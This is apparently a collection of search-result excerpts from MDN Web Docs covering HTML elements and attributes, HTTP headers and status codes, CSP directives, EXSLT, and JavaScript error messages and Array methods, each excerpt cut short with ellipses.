... i'm interested in helping promote the fine accessibility features that firefox provides, what can i do?
... join the firefox accessibility advocates ...
EXSLT
there are a number of modules; those that are supported by firefox are listed below: common (exsl)the exslt common package provides basic functions that expand upon the capabilities of xslt.math (math)the exslt math package provides functions for working with numeric values and comparing nodes.regular expressions (regexp)the exslt regular expressions package provides functions that allow testing, matching, and replacing text using javascript style regular expressions.sets (set)the exslt sets package offers functions that let you perform set manipulation.strings (str)the exslt strings package provides functions that allow the manipulation of strings.
... exslt modules to use an exslt function, you need to declare the namespace the function is in, and then use the appropriate prefix when calling the function.
... </xsl:template> </xsl:stylesheet> common the exslt common package provides basic functions that expand upon the capabilities of xslt.
... functions str:concat() str:split() str:tokenize() ...
Web Audio playbackRate explained - Developer guides
there is also an event available called ratechange, which fires every time the playbackrate changes.
...for most applications, it's recommended that you limit the range to between 0.5 and 4.
... negative values will not cause the media to play in reverse.
... on ios 7 you can only affect the playbackrate when the media is paused (not while it's playing).
Challenge solutions - Developer guides
cascading and inheritance inherited styles challenge change your stylesheet so that only the red letters are underlined.
... solution one way to do this is to put comment delimiters around the rule for .carrot: /* .carrot { color: orange; } */ text styles big initial letters challenge without changing anything else, make all six initial letters twice the size in the browser's default serif font.
... solution the following values are reasonable approximations of the named colors: strong { color: #f00; /* red */ background-color: #ddf; /* pale blue */ font: 200% serif; } .carrot { color: #fa0; /* orange */ } .spinach { color: #080; /* dark green */ } p { color: #00f; /* blue */ } content add an image challenge add a one rule to your stylesheet so that it displays the image at the start of each line.
... solution define a rule for list items to use the lower-roman list style: li { list-style: lower-roman; } capital letters challenge change your stylesheet to identify the headings with capital letters in parentheses.
HTML attribute: max - HTML: Hypertext Markup Language
WebHTMLAttributesmax
valid for the numeric input types, including the date, month, week, time, datetime-local, number and range types, and both the <progress> and <meter> elements, the max attribute is a number that specifies the most positive value a form control to be considered valid.
...ntax syntax for max values by input type input type syntax example date yyyy-mm-dd <input type="date" max="2019-12-25" step="1"> month yyyy-mm <input type="month" max="2019-12" step="12"> week yyyy-w## <input type="week" max="2019-w23" step=""> time hh:mm <input type="time" max="17:00" step="900"> datetime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t23:59"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in contraint validation and will match the...
... for the<progress> element, the max attribute describes how much work the task indicated by the progress element requires.
...in both cases, if omitted, the value defaults to 1.
HTML attribute: min - HTML: Hypertext Markup Language
WebHTMLAttributesmin
valid for the numeric input types, including the date, month, week, time, datetime-local, number and range types, and the <meter> element, the min attribute is a number that specifies the most negative value a form control to be considered valid.
...2"> syntax for min values by input type input type example example date yyyy-mm-dd <input type="date" min="2019-12-25" step="1"> month yyyy-mm <input type="month" min="2019-12" step="12"> week yyyy-w## <input type="week" min="2019-w23" step=""> time hh:mm <input type="time" min="09:00" step="900"> datetime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t19:30"> number <number> <input type="number" min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the min value set, the value is considered invalid in contraint validation and will match the :in...
...in both cases, if omitted, the value defaults to 1.
... <input id="mynumber" name="mynumber" type="number" min="7.2" value="8"> because step defaults to 1, valid values include 7.2, 8.2, 9.2, and so on.
<aside>: The Aside element - HTML: Hypertext Markup Language
WebHTMLElementaside
asides are frequently presented as sidebars or call-out boxes.
... content categories flow content, sectioning content, palpable content.
... </p> </article> specifications specification status comment html living standardthe definition of '<aside>' in that specification.
... living standard html5the definition of '<aside>' in that specification.
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementbgsound
loop this attribute indicates the number of times a sound is to be played and either has a numeric value or the keyword infinite.
... example <bgsound src="sound1.mid"> <bgsound src="sound2.au" loop="infinite"> usage notes historically, the <embed> element could be used with audio player plug-ins to play audio in the background in most browsers.
... however, even this is no longer appropriate, and you should use <audio> instead, since it's more capable, more compatible, and doesn't require plug-ins.
... you can write <bgsound> as a self-closing tag (<bgsound />); however, since this element is non-standard, doing so will still not validate.
<blink>: The Blinking Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementblink
the html blink element (<blink>) is a non-standard element which causes the enclosed text to flash slowly.
...blinking text is frowned upon by several accessibility standards and the css specification allows browsers to ignore the <blink> element.
... example <blink>why would somebody use this?</blink> result (toned down!) specification this element is non-standard and not part of any specification.
... css polyfill if you really do need a polyfill, then you can use the following css polyfill.
<dd>: The Description Details element - HTML: Hypertext Markup Language
WebHTMLElementdd
content categories none.
... specifications specification status comment html living standardthe definition of '<dd>' in that specification.
... living standard html5the definition of '<dd>' in that specification.
... recommendation html 4.01 specificationthe definition of '<dd>' in that specification.
<font> - HTML: Hypertext Markup Language
WebHTMLElementfont
though once normalized in html 3.2, it was deprecated in html 4.01, at the same time as all elements related to styling only, then made obsolete in html5.
... the former behavior of the <font> element can be achieved, and even better controlled using the css fonts css properties.
...if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.
...it can be defined using a relative value, like +2 or -3, which set it relative to the value of the size attribute of the <basefont> element, or relative to 3, the default value, if none does exist.
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
WebHTMLElementnoframes
a <noframes> element can contain any html elements that are allowed within the body of an html document, with the exception of the <frameset> and <frame> elements, since using frames when they aren't supported doesn't make sense.
... <noframes> can be used to present a message explaining that the user's browser doesn't support frames, but ideally should be used to present an alternate form of the site that doesn't use frames but still offers the same or similar functionality.
... <frameset cols="50%,50%"> <frame src="https://developer.mozilla.org/en/html/element/frameset" /> <frame src="https://developer.mozilla.org/en/html/element/frame" /> <noframes><p>it seems your browser does not support frames or is configured to not allow them.</p></noframes> </frameset> specifications specification status comment html5the definition of 'noframes' in that specification.
... recommendation html 4.01 specificationthe definition of '<noframes>' in that specification.
<noscript> - HTML: Hypertext Markup Language
WebHTMLElementnoscript
content categories metadata content, flow content, phrasing content.
... specifications specification status comment html living standardthe definition of '<noscript>' in that specification.
... living standard html5the definition of '<noscript>' in that specification.
... recommendation html 4.01 specificationthe definition of '<noscript>' in that specification.
<small>: the side comment element - HTML: Hypertext Markup Language
WebHTMLElementsmall
content categories flow content, phrasing content permitted content phrasing content tag omission none, must have both a start tag and an end tag.
... <span style="font-size:0.8em">this whole sentence is in small letters.</span> </p> specifications specification status comments html living standardthe definition of '<small>' in that specification.
... living standard html5the definition of '<small>' in that specification.
... recommendation html 4.01 specificationthe definition of '<small>' in that specification.
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
content categories metadata content, flow content, phrasing content, script-supporting element permitted content no restrictions tag omission none, both the starting and ending tag are mandatory.
...5646565"; td[1].textcontent = "stuff"; tbody.appendchild(clone); // clone the new row and insert it into the table var clone2 = template.content.clonenode(true); td = clone2.queryselectorall("td"); td[0].textcontent = "0384928528"; td[1].textcontent = "acme kidney beans 2"; tbody.appendchild(clone2); } else { // find another way to add the rows to the table because // the html template element is not supported.
... specifications specification status comment html living standardthe definition of 'template element' in that specification.
... living standard html5the definition of 'template element' in that specification.
<wbr> - HTML: Hypertext Markup Language
WebHTMLElementwbr
the html <wbr> element represents a word break opportunity—a position within text where the browser may optionally break a line, though its line-breaking rules would not otherwise create a break at that location.
... content categories flow content, phrasing content.
... <p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/with<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> specifications specification status comment html living standardthe definition of '<wbr>' in that specification.
... living standard html5the definition of '<wbr>' in that specification.
dropzone - HTML: Hypertext Markup Language
the dropzone global attribute is an enumerated attribute indicating what types of content can be dropped on an element, using the html drag and drop api.
... it can have the following values: copy, which indicates that dropping will create a copy of the element that was dragged.
... move, which indicates that the element that was dragged will be moved to this new location.
... specifications specification status comment html 5.1the definition of 'dropzone' in that specification.
itemref - HTML: Hypertext Markup Language
properties that are not descendants of an element with the itemscope attribute can be associated with an item using the global attribute itemref.
... itemref provides a list of element ids (not itemids) elsewhere in the document, with additional properties the itemref attribute can only be specified on elements that have an itemscope attribute specified.
...itemprop="name">amanda</span> </p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>band: <span itemprop="name">jazz band</span> </p> <p>size: <span itemprop="size">12</span> players</p> </div> structured data (in json-ld format) { "@id": "amanda", "name": "amanda", "band": { "@id": "b", "name": "jazz band", "size": 12 } } result specifications specification status comment html microdatathe definition of 'itemref' in that specification.
... working draft html living standardthe definition of 'itemref' in that specification.
spellcheck - HTML: Hypertext Markup Language
it may have the following values: true, which indicates that the element should be, if possible, checked for spelling errors; false, which indicates that the element should not be checked for spelling errors.
...typically non-editable elements are not checked for spelling errors, even if the spellcheck attribute is set to true and the browser supports spellchecking.
... specifications specification status comment html living standardthe definition of 'spellcheck' in that specification.
... living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'spellcheck' in that specification.
CORS errors - HTTP
WebHTTPCORSErrors
if the cors configuration isn't setup correctly, the browser console will present an error like "cross-origin request blocked: the same origin policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the cors security rules.
...it's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service.
...the only way to determine what specifically went wrong is to look at the browser's console for details.
... reason: cors disabled reason: cors request did not succeed reason: cors header ‘origin’ cannot be added reason: cors request external redirect not allowed reason: cors request not http reason: cors header ‘access-control-allow-origin’ missing reason: cors header ‘access-control-allow-origin’ does not match ‘xyz’ reason: credential is not supported if the cors header ‘access-control-allow-origin’ is ‘*’ reason: did not find method in cors header ‘access-contr...
Accept-Charset - HTTP
if the server cannot serve any character encoding from this request header, it can theoretically send back a 406 not acceptable error code.
... * any charset not mentioned elsewhere in the header; * is used as a wildcard.
... ;q=<weight> any encoding is placed in an order of preference, expressed using a relative quality value called the weight.
... examples accept-charset: iso-8859-1 accept-charset: utf-8, iso-8859-1;q=0.5 accept-charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 specifications specification title rfc 7231, section 5.3.3: accept-charset hypertext transfer protocol (http/1.1): semantics and context ...
Accept - HTTP
WebHTTPHeadersAccept
header type request header forbidden header name no cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x09 (ht)), "():<>?@[\]{}, and 0x7f (del).
... syntax accept: <mime_type>/<mime_subtype> accept: <mime_type>/* accept: */* // multiple types, weighted with the quality value syntax: accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 directives <mime_type>/<mime_subtype> a single, precise mime type, like text/html.
... */* any mime type ;q= (q-factor weighting) any value used is placed in an order of preference expressed using relative quality value called the weight.
... examples accept: text/html accept: image/* // general default accept: */* // default for navigation requests accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 specifications specification title rfc 7231, section 5.3.2: accept hypertext transfer protocol (http/1.1): semantics and context ...
Age - HTTP
WebHTTPHeadersAge
the age header contains the time in seconds the object has been in a proxy cache.
...if it is age: 0, it was probably just fetched from the origin server; otherwise it is usually calculated as a difference between the proxy's current date and the date general header included in the http response.
... header type response header forbidden header name no syntax age: <delta-seconds> directives <delta-seconds> a non-negative integer, representing time in seconds the object has been in a proxy cache.
... examples age: 24 specifications specification title rfc 7234, section 5.1: age hypertext transfer protocol (http/1.1): caching ...
Content-Range - HTTP
the content-range response http header indicates where in a full body message a partial message belongs.
... <range-start> an integer in the given unit indicating the beginning of the request range.
... <range-end> an integer in the given unit indicating the end of the requested range.
... examples content-range: bytes 200-1000/67589 specifications specification title rfc 7233, section 4.2: content-range hypertext transfer protocol (http/1.1): range requests ...
CSP: trusted-types - HTTP
this allows authors to define rules guarding writing values to the dom and thus reducing the dom xss attack surface to small, isolated parts of the web application codebase, facilitating their monitoring and code review.
... syntax content-security-policy: trusted-types; content-security-policy: trusted-types <policyname>; content-security-policy: trusted-types <policyname> <policyname> 'allow-duplicates'; <domstring> any string can be a trusted type policy name.
... 'allow-duplicates' allows for creating policies with a name that was already used examples todo polyfill a polyfill for trusted types is available on github.
... specifications specification status comment trusted types draft initial definition.
CSP: upgrade-insecure-requests - HTTP
syntax content-security-policy: upgrade-insecure-requests; examples // header content-security-policy: upgrade-insecure-requests; // meta tag <meta http-equiv="content-security-policy" content="upgrade-insecure-requests"> with the above header set on a domain example.com that wants to migrate from http to https, non-navigational insecure resource requests are automatically upgraded (first-party as well as third-party requests).
... <img src="https://example.com/image.png"> <img src="https://not-example.com/image.png"> navigational upgrades to third-party resources brings a significantly higher potential for breakage, these are not upgraded: <a href="https://example.com/">home</a> <a href="http://not-example.com/">home</a> finding insecure requests with the help of the content-security-policy-report-only header and the report-uri directive, you can set-up an enforced policy and a reported policy like this: content-security-policy: upgrade-insecure-requests; default-src ht...
... specifications specification status comment upgrade insecure requeststhe definition of 'upgrade-insecure-requests' in that specification.
... candidate recommendation initial definition.
Cross-Origin-Embedder-Policy - HTTP
require-corp a document can only load resources from the same origin, or resources explicitly marked as loadable from another origin.
... examples certain features depend on cross-origin isolation you can only access certain features like sharedarraybuffer objects or performance.now() with unthrottled timers, if your document has a coep header with the value require-corp value set.
... to check if cross origin isolation has been successful, you can test against the crossoriginisolated property available to window and worker contexts: if (crossoriginisolated) { // post sharedarraybuffer } else { // do something else } avoiding coep blockage with cors if you enable coep using require-corp and have a cross origin resource that needs to be loaded, it needs to support cors and you need to explicitly mark the resource as loadable from another origin to avoid blockage from coep.
... for example, you can use the crossorigin attribute for this image from a third-party site: <img src="https://thirdparty.com/img.png" crossorigin> specifications specification html living standardthe definition of 'cross-origin-embedder-policy header' in that specification.
Date - HTTP
WebHTTPHeadersDate
pec - so this code will not send date header: fetch('https://httpbin.org/get', { 'headers': { 'date': (new date()).toutcstring() } }) header type general header forbidden header name yes syntax date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
... <month> one of "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec" (case sensitive).
...http dates are always expressed in gmt, never in local time.
... examples date: wed, 21 oct 2015 07:28:00 gmt new date().toutcstring() // "mon, 09 mar 2020 08:13:24 gmt" specifications specification title rfc 7231, section 7.1.1.2: date hypertext transfer protocol (http/1.1): semantics and content ...
Expect - HTTP
WebHTTPHeadersExpect
the expect http request header indicates expectations that need to be fulfilled by the server in order to properly handle the request.
... the only expectation defined in the specification is expect: 100-continue, to which the server shall respond with: 100 if the information contained in the header is sufficient to cause an immediate success, 417 (expectation failed) if it cannot meet the expectation; or any other 4xx status otherwise.
... put /somewhere/fun http/1.1 host: origin.example.com content-type: video/h264 content-length: 1234567890987 expect: 100-continue the server now checks the request headers and may respond with a 100 (continue) response to instruct the client to go ahead and send the message body, or it will send a 417 (expectation failed) status if any of the expectations cannot be met.
... specifications specification title rfc 7231, section 5.1.1: expect hypertext transfer protocol (http/1.1): semantics and content ...
Keep-Alive - HTTP
the following identifiers are possible: timeout: indicating the minimum amount of time an idle connection has to be kept opened (in seconds).
... max: indicating the maximum number of requests that can be sent on this connection before closing it.
...an http pipeline can use it to limit the pipelining.
... examples a response containing a keep-alive header: http/1.1 200 ok connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: thu, 11 aug 2016 15:23:13 gmt keep-alive: timeout=5, max=1000 last-modified: mon, 25 jul 2016 04:32:39 gmt server: apache (body) specifications specification title http keep-alive header keep-alive header (ietf internet draft) rfc 7230, appendix a.1.2: keep-alive hypertext transfer protocol (http/1.1): message syntax and routing ...
Last-Modified - HTTP
header type response header forbidden header name no cors-safelisted response header yes syntax last-modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive).
... <month> one of "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec" (case sensitive).
...http dates are always expressed in gmt, never in local time.
... examples last-modified: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7232, section 2.2: last-modified hypertext transfer protocol (http/1.1): conditional requests ...
Public-Key-Pins-Report-Only - HTTP
note: public key pinning mechanism was deprecated in favor of certificate transparency and expect-ct header.
...use certificate transparency and the expect-ct header instead.
... max-age=<expire-time> this directive is meaningless for the public-key-pins-report-only header, it will be ignored by user agents and the header will not be cached.
... specifications specification title rfc 7469, section 2.1: public-key-pins-report-only public key pinning extension for http ...
Referer - HTTP
WebHTTPHeadersReferer
the referer header allows servers to identify where people are visiting them from and may use that data for analytics, logging, or optimized caching, for example.
... important: although this header has many innocent uses it can have undesirable consequences for user security and privacy.
... a referer header is not sent by browsers if: the referring resource is a local "file" or "data" uri.
... examples referer: https://developer.mozilla.org/docs/web/javascript specifications specification title rfc 7231, section 5.5.2: referer hypertext transfer protocol (http/1.1): semantics and content ...
TE - HTTP
WebHTTPHeadersTE
(you could informally call it accept-transfer-encoding, which would be more intuitive).
... trailers indicates that the client is willing to accept trailer fields in a chunked transfer coding.
... q when multiple transfer codings are acceptable, the q parameter of the quality value syntax can rank codings by preference.
... specifications specification title rfc 7230, section 4.3: te hypertext transfer protocol (http/1.1): message syntax and routing ...
Tk - HTTP
WebHTTPHeadersTk
the tk response header indicates the tracking status that applied to the corresponding request.
...the origin server is currently testing its communication of tracking status.
...the request resulted in a potential change to the tracking status applicable to this user, user agent, or device.
... examples a tk header for a resource that claims not to be tracking would look like: tk: n specifications specification status comment tracking preference expression (dnt)the definition of 'tk header field' in that specification.
Want-Digest - HTTP
the sender may use quality values to indicate its preference ordering among the choices it offers.
... if want-digest does not include any digest algorithms that the server supports, the server may respond with: a digest calculated using a different digest algorithm, or a 400 bad request error, and include another want-digest header with that response, listing the algorithms that it does support.
...some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not suitable for applications in which collision-resistance is important.
...esponse: http/1.1 200 ok digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= the server does not support any of the requested digest algorithms, so responds with a 400 error and includes another want-digest header, listing the algorithms that it does support: request: get /item want-digest: sha;q=1 response: http/1.1 400 bad request want-digest: sha-256, sha-512 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
PUT - HTTP
WebHTTPMethodsPUT
the difference between put and post is that put is idempotent: calling it once or several times successively has the same effect (that is no side effect), whereas successive identical post requests may have additional effects, akin to placing an order several times.
... request has body yes successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax put /new.html http/1.1 example request put /new.html http/1.1 host: example.com content-type: text/html content-length: 16 <p>new file</p> responses if the target resource does not have a current representation and the put request successfully creates one, then the origin server must inform the user agent by sending a 201 (created) response.
... http/1.1 201 created content-location: /new.html if the target resource does have a current representation and that representation is successfully modified in accordance with the state of the enclosed representation, then the origin server must send either a 200 (ok) or a 204 (no content) response to indicate successful completion of the request.
... http/1.1 204 no content content-location: /existing.html specifications specification title rfc 7231, section 4.3.4: put hypertext transfer protocol (http/1.1): semantics and content ...
201 Created - HTTP
WebHTTPStatus201
the http 201 created success status response code indicates that the request has succeeded and has led to the creation of a resource.
... the new resource is effectively created before this response is sent back and the new resource is returned in the body of the message, its location being either the url of the request, or the content of the location header.
... the common use case of this status code is as the result of a post request.
... status 201 created specifications specification title rfc 7231, section 6.3.2: 201 created hypertext transfer protocol (http/1.1): semantics and content ...
202 Accepted - HTTP
WebHTTPStatus202
the hypertext transfer protocol (http) 202 accepted response status code indicates that the request has been accepted for processing, but the processing has not been completed; in fact, processing may not have started yet.
... 202 is non-committal, meaning that there is no way for the http to later send an asynchronous response indicating the outcome of processing the request.
... it is intended for cases where another process or server handles the request, or for batch processing.
... status 202 accepted specifications specification title rfc 7231, section 6.3.3: 202 accepted hypertext transfer protocol (http/1.1): semantics and content ...
204 No Content - HTTP
WebHTTPStatus204
the http 204 no content success status response code indicates that the request has succeeded, but that the client doesn't need to go away from its current page.
... a 204 response is cacheable by default.
... the common use case is to return 204 as a result of a put request, updating a resource, without changing the current content of the page displayed to the user.
... status 204 no content specifications specification title rfc 7231, section 6.3.5: 204 no content hypertext transfer protocol (http/1.1): semantics and content ...
307 Temporary Redirect - HTTP
WebHTTPStatus307
http 307 temporary redirect redirect status response code indicates that the resource requested has been temporarily moved to the url given by the location headers.
...in the cases where you want the method used to be changed to get, use 303 see other instead.
...for get requests, their behavior is identical.
... status 307 temporary redirect specifications specification title rfc 7231, section 6.4.7: 307 temporary redirect hypertext transfer protocol (http/1.1): semantics and content ...
401 Unauthorized - HTTP
WebHTTPStatus401
the http 401 unauthorized client error status response code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource.
... this status is sent with a www-authenticate header that contains information on how to authorize correctly.
... this status is similar to 403, but in this case, authentication is possible.
... status 401 unauthorized example response http/1.1 401 unauthorized date: wed, 21 oct 2015 07:28:00 gmt www-authenticate: basic realm="access to staging site" specifications specification title rfc 7235, section 3.1: 401 unauthorized http/1.1: authentication ...
403 Forbidden - HTTP
WebHTTPStatus403
the http 403 forbidden client error status response code indicates that the server understood the request but refuses to authorize it.
... this status is similar to 401, but in this case, re-authenticating will make no difference.
... the access is permanently forbidden and tied to the application logic, such as insufficient rights to a resource.
... status 403 forbidden example response http/1.1 403 forbidden date: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7231, section 6.5.3: 403 forbidden http/1.1: semantics and content ...
412 Precondition Failed - HTTP
WebHTTPStatus412
the hypertext transfer protocol (http) 412 precondition failed client error response code indicates that access to the target resource has been denied.
...in that case, the request, usually an upload or a modification of a resource, cannot be made and this error response is sent back.
... status 412 precondition failed examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions.
... specifications specification title rfc 7232, section 4.2: 412 precondition failed hypertext transfer protocol (http/1.1): conditional requests ...
416 Range Not Satisfiable - HTTP
WebHTTPStatus416
the hypertext transfer protocol (http) 416 range not satisfiable error response code indicates that a server cannot serve the requested ranges.
... the most likely reason is that the document doesn't contain such ranges, or that the range header value, though syntactically correct, doesn't make sense.
... the 416 response message contains a content-range indicating an unsatisfied range (that is a '*') followed by a '/' and the current length of the resource.
... status 416 range not satisfiable specifications specification title rfc 7233, section 4.4: 416 request not satisfiable hypertext transfer protocol (http/1.1): range requests ...
431 Request Header Fields Too Large - HTTP
WebHTTPStatus431
the http 431 request header fields too large response status code indicates that the server refuses to process the request because the request’s http headers are too long.
... 431 can be used when the total size of request headers is too large, or when a single header field is too large.
... to help those running into this error, indicate which of the two is the problem in the response body — ideally, also include which headers are too large.
... servers will often produce this status if: the referer url is too long there are too many cookies sent in the request status 431 request header fields too large specifications specification title rfc 6585, section 5: 431 request header fields too large additional http status codes ...
500 Internal Server Error - HTTP
WebHTTPStatus500
the hypertext transfer protocol (http) 500 internal server error server error response code indicates that the server encountered an unexpected condition that prevented it from fulfilling the request.
... this error response is a generic "catch-all" response.
... usually, this indicates the server cannot find a better 5xx error code to response.
... status 500 internal server error specifications specification title rfc 7231, section 6.6.1: 500 internal server error hypertext transfer protocol (http/1.1): semantics and content ...
503 Service Unavailable - HTTP
WebHTTPStatus503
the hypertext transfer protocol (http) 503 service unavailable server error response code indicates that the server is not ready to handle the request.
... common causes are a server that is down for maintenance or that is overloaded.
... caching-related headers that are sent along with this response should be taken care of, as a 503 status is often a temporary condition and responses shouldn't usually be cached.
... status 503 service unavailable specifications specification title rfc 7231, section 6.6.4: 503 service unavailable hypertext transfer protocol (http/1.1): semantics and content ...
SyntaxError: missing formal parameter - JavaScript
declaring functions and calling functions are two separate steps.
... declarations require identifier as parameters, and only when calling (invoking) the function, you provide the values the function should use.
... in javascript, identifiers can contain only alphanumeric characters (or "$" or "_"), and may not start with a digit.
...function greet("howdy") { return greeting; }; // syntaxerror: missing formal parameter function log({ obj: "value"}) { console.log(arg) }; // syntaxerror: missing formal parameter you will need to use identifiers in function declarations: function square(number) { return number * number; }; function greet(greeting) { return greeting; }; function log(arg) { console.log(arg) }; you can then call these functions with the arguments you like: square(2); // 4 greet("howdy"); // "howdy" log({obj: "value"}); // object { obj: "value" } ...
SyntaxError: missing name after . operator - JavaScript
maybe you intended to do concatenation instead?
... a plus operator (+) is needed in that case.
...concatenation if you are coming from another programming language (like php), it is also easy to mix up the dot operator (.) and the concatenation operator (+).
...operator instead you need to use a plus sign for concatenation: console.log("hello" + "world"); ...
RangeError: repeat count must be non-negative - JavaScript
it has a count parameter indicating the number of times to repeat the string.
... it must be between 0 and less than positive infinity and cannot be a negative number.
... the range of allowed values can be described like this: [0, +∞).
... examples invalid cases 'abc'.repeat(-1); // rangeerror valid cases 'abc'.repeat(0); // '' 'abc'.repeat(1); // 'abc' 'abc'.repeat(2); // 'abcabc' 'abc'.repeat(3.5); // 'abcabcabc' (count will be converted to integer) ...
Warning: unreachable code after return statement - JavaScript
when an expression exists after a valid return statement, a warning is given to indicate that the code after the return statement is unreachable, meaning it can never be run.
...in the case of semicolon-less return statements, it can be unclear whether the developer intended to return the statement on the following line, or to stop execution and return.
... the warning indicates that there is ambiguity in the way the return statement is written.
... warnings will not be shown for semicolon-less returns if these statements follow it: throw break var function examples invalid cases function f() { var x = 3; x += 4; return x; // return exits the function immediately x -= 3; // so this line will never run; it is unreachable } function f() { return // this is treated like `return;` 3 + 4; // so the function returns, and this line is never reached } valid cases function f() { var x = 3; x += 4; x -= 3; return x; // ok: return after all other statements } function f() { return 3 + 4 // ok: semicolon-less return with expression on the same line } ...
SyntaxError: "use strict" not allowed in function with non-simple parameters - JavaScript
message edge: cannot apply strict mode on functions with non-simple parameter list firefox: syntaxerror: "use strict" not allowed in function with default parameter syntaxerror: "use strict" not allowed in function with rest parameter syntaxerror: "use strict" not allowed in function with destructuring parameter chrome: syntaxerror: illegal 'use strict' directive in function with non-simple parameter list error type syntaxerror.
... a "use strict" directive is written at the top of a function that has one of the following parameters: default parameters rest parameters destructuring parameters a "use strict" directive is not allowed at the top of such functions per the ecmascript specification.
... examples function statement in this case, the function sum has default parameters a=1 and b=2: function sum(a = 1, b = 2) { // syntaxerror: "use strict" not allowed in function with default parameter 'use strict'; return a + b; } if the function should be in strict mode, and the entire script or enclosing function is also okay to be in strict mode, you can move the "use strict" directive outside of the function: 'use strict'; function sum(a = 1, b = 2) { return a + b; } function expression a function expression can use yet another workaround: var sum = function sum([a, b]) { // syntaxerror: "use strict" not allowed in function with destructuring parameter 'use strict'; return a + b; }; this can be converted to the following expression: var sum = (function() { '...
...use strict'; return function sum([a, b]) { return a + b; }; })(); arrow function if an arrow function needs to access the this variable, you can use the arrow function as the enclosing function: var callback = (...args) => { // syntaxerror: "use strict" not allowed in function with rest parameter 'use strict'; return this.run(args); }; this can be converted to the following expression: var callback = (() => { 'use strict'; return (...args) => { return this.run(args); }; })(); ...
SyntaxError: function statement requires a name - JavaScript
examples statements vs expressions a function statement (or function declaration) requires a name, this won't work: function () { return 'hello world'; } // syntaxerror: function statement requires a name you can use a function expression (assignment) instead: var greet = function() { return 'hello world'; }; or, you function is maybe intended to be an iife (immediately invoked function expression), which is a function that runs as soon as it is defined.
... you will need a few more braces in this case: (function () { })(); labeled functions if you are using function labels, you will still need to provide a function name after the function keyword.
... var greeter = { german: function () { return "moin"; } }; callback syntax also, check your syntax when using callbacks.
... brackets and commas can get difficult easily.
Array() constructor - JavaScript
syntax [element0, element1, ..., elementn] new array(element0, element1[, ...[, elementn]]) new array(arraylength) parameters elementn a javascript array is initialized with the given elements, except in the case where a single argument is passed to the array constructor and that argument is a number (see the arraylength parameter below).
... note that this special case only applies to javascript arrays created with the array constructor, not array literals created with the bracket syntax.
... examples array literal notation arrays can be created using the literal notation: let fruits = ['apple', 'banana']; console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" array constructor with a single parameter arrays can be created using a constructor with a single number parameter.
... let fruits = new array('apple', 'banana'); console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" specifications specification ecmascript (ecma-262)the definition of 'array constructor' in that specification.
Array.prototype.toSource() - JavaScript
description the tosource method returns the following values: for the built-in array object, tosource returns the following string indicating that the source code is not available: function array() { [native code] } for instances of array, tosource returns a string representing the source code.
... this method is usually called internally by javascript and not explicitly in code.
... you can call tosource while debugging to examine the contents of an array.
... examples examining the source code of an array to examine the source code of an array: var alpha = new array('a', 'b', 'c'); alpha.tosource(); //returns ['a', 'b', 'c'] specifications not part of any standard.
Array.prototype.toString() - JavaScript
javascript calls the tostring method automatically when an array is to be represented as a text value or when an array is referred to in a string concatenation.
... ecmascript 5 semantics starting in javascript 1.8.5 (firefox 4), and consistent with ecmascript 5th edition semantics, the tostring() method is generic and can be used with any object.
... object.prototype.tostring() will be called, and the resulting value will be returned.
... examples using tostring const array1 = [1, 2, 'a', '1a']; console.log(array1.tostring()); // expected output: "1,2,a,1a" specifications specification ecmascript (ecma-262)the definition of 'array.prototype.tostring' in that specification.
ArrayBuffer - JavaScript
it is an array of bytes, often referred to in other languages as a "byte array".you cannot directly manipulate the contents of an arraybuffer; instead, you create one of the typed array objects or a dataview object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.
...you can also get an array buffer from existing data, for example from a base64 string or from a local file.
...this is established when the array is constructed and cannot be changed.
